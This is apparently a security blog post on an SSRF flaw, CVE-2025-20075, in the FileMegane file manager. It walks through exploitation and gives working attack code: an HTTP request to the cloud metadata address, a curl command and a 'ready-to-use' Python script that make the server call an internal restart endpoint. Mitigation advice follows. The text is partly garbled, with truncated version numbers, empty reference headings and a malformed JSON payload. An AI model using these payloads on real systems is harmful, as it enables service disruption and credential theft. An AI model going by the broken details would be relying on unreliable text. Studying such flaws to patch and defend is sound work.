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Summary
A new critical vulnerability, CVE-2025-20075, has surfaced in FileMegane, an enterprise file management solution popular with small and medium businesses. This bug is a classic example of Server-side request forgery (SSRF), affecting all FileMegane versions above 3... and before 3.4...
Attackers abusing this flaw can trick the server into making requests to arbitrary backend addresses – including sensitive internal endpoints. In some cases, this allows service reboots, DoS, or even stealing credentials. This article will walk you through how the flaw works, how to exploit it, and what to do to mitigate the risk.
What is SSRF, and Why Does It Matter?
SSRF vulnerabilities happen when a web application fetches a resource from a user-provided URL – but fails to properly validate that input. Attackers then force the server to make HTTP requests to locations chosen by them (even inside protected local networks).
See OWASP’s SSRF explanation.
FileMegane and the Vulnerable Component
FileMegane’s core file-management API provides a download endpoint that fetches files from URLs. It doesn’t properly screen the input. This SSRF vector lets a remote attacker cause FileMegane to make HTTP requests to arbitrary addresses.
A simplified POST payload to the vulnerable endpoint might look like
POST /api/v1/download HTTP/1.1
Host: victim-server
Content-Type: application/json
{
"file_url": "http://169.254.169.254/latest/meta-data/instance-id";
}
Depending on internal routing, the server might fetch data from local cloud metadata endpoints, admin panels, or even call internal admin REST endpoints (causing side effects like *rebooting a service*).
Step-by-Step Exploitation: Crash the Service with a Crafted Payload
Let’s walk through a practical SSRF exploit that reboots a backend service in a vulnerable FileMegane setup.
1. Discovery:
You notice the file_url in the API isn’t validated.
- The backend hosts a service reboot endpoint at http://localhost:800/service/restart.
2. Crafted Request:
Send a malicious request to FileMegane’s public API so the backend itself hits the sensitive endpoint:
{
"file_url": "http://localhost:800/service/restart"
}
Or, using curl
curl -X POST http://victim-server/api/v1/download \
-H "Content-Type: application/json" \
-d '{"file_url":"http://localhost:800/service/restart"}'
3. Result:
The server, in processing this download request, makes a POST to its own admin service, triggering a *restart* or even a crash, potentially resulting in denial-of-service or security bypass.
Service Disruption: Remote restart or crash of backend services.
- Data Theft: Attackers can access sensitive internal-only resources, like AWS/GCP metadata, credentials, or configuration files.
- Privilege Escalation: If internal endpoints perform privileged operations, an attacker could fully compromise the system.
The initial vendor advisory:
FileMegane Official Security Notice
OSS Security mailing list discussion:
oss-sec Archive – CVE-2025-20075
GitHub Issue tracking the vulnerability:
Immediate Patch: If you run FileMegane, update ASAP to v3.4.. or later.
Download latest version
- Temporary Workaround: Restrict egress from FileMegane’s host to only trusted domains/IPs using firewalls.
- Input Validation: Never trust user-provided URLs. Properly validate or whitelist destinations for download/fetch APIs.
Here’s a ready-to-use Python exploit script
import requests
target = "http://victim-server/api/v1/download"
payload = {
"file_url": "http://localhost:800/service/restart"
}
resp = requests.post(target, json=payload)
print("Status:", resp.status_code)
print("Response:", resp.text)
Conclusion
CVE-2025-20075 reminds us how dangerous SSRF can be, especially when API endpoints don’t restrict outbound requests. If you use FileMegane, update immediately, and check that your infrastructure blocks egress to sensitive internal services. Your backend shouldn’t be your attacker’s playground!
*For continued updates, follow FileMegane’s security page.*
Timeline
Published on: 02/18/2025 00:15:21 UTC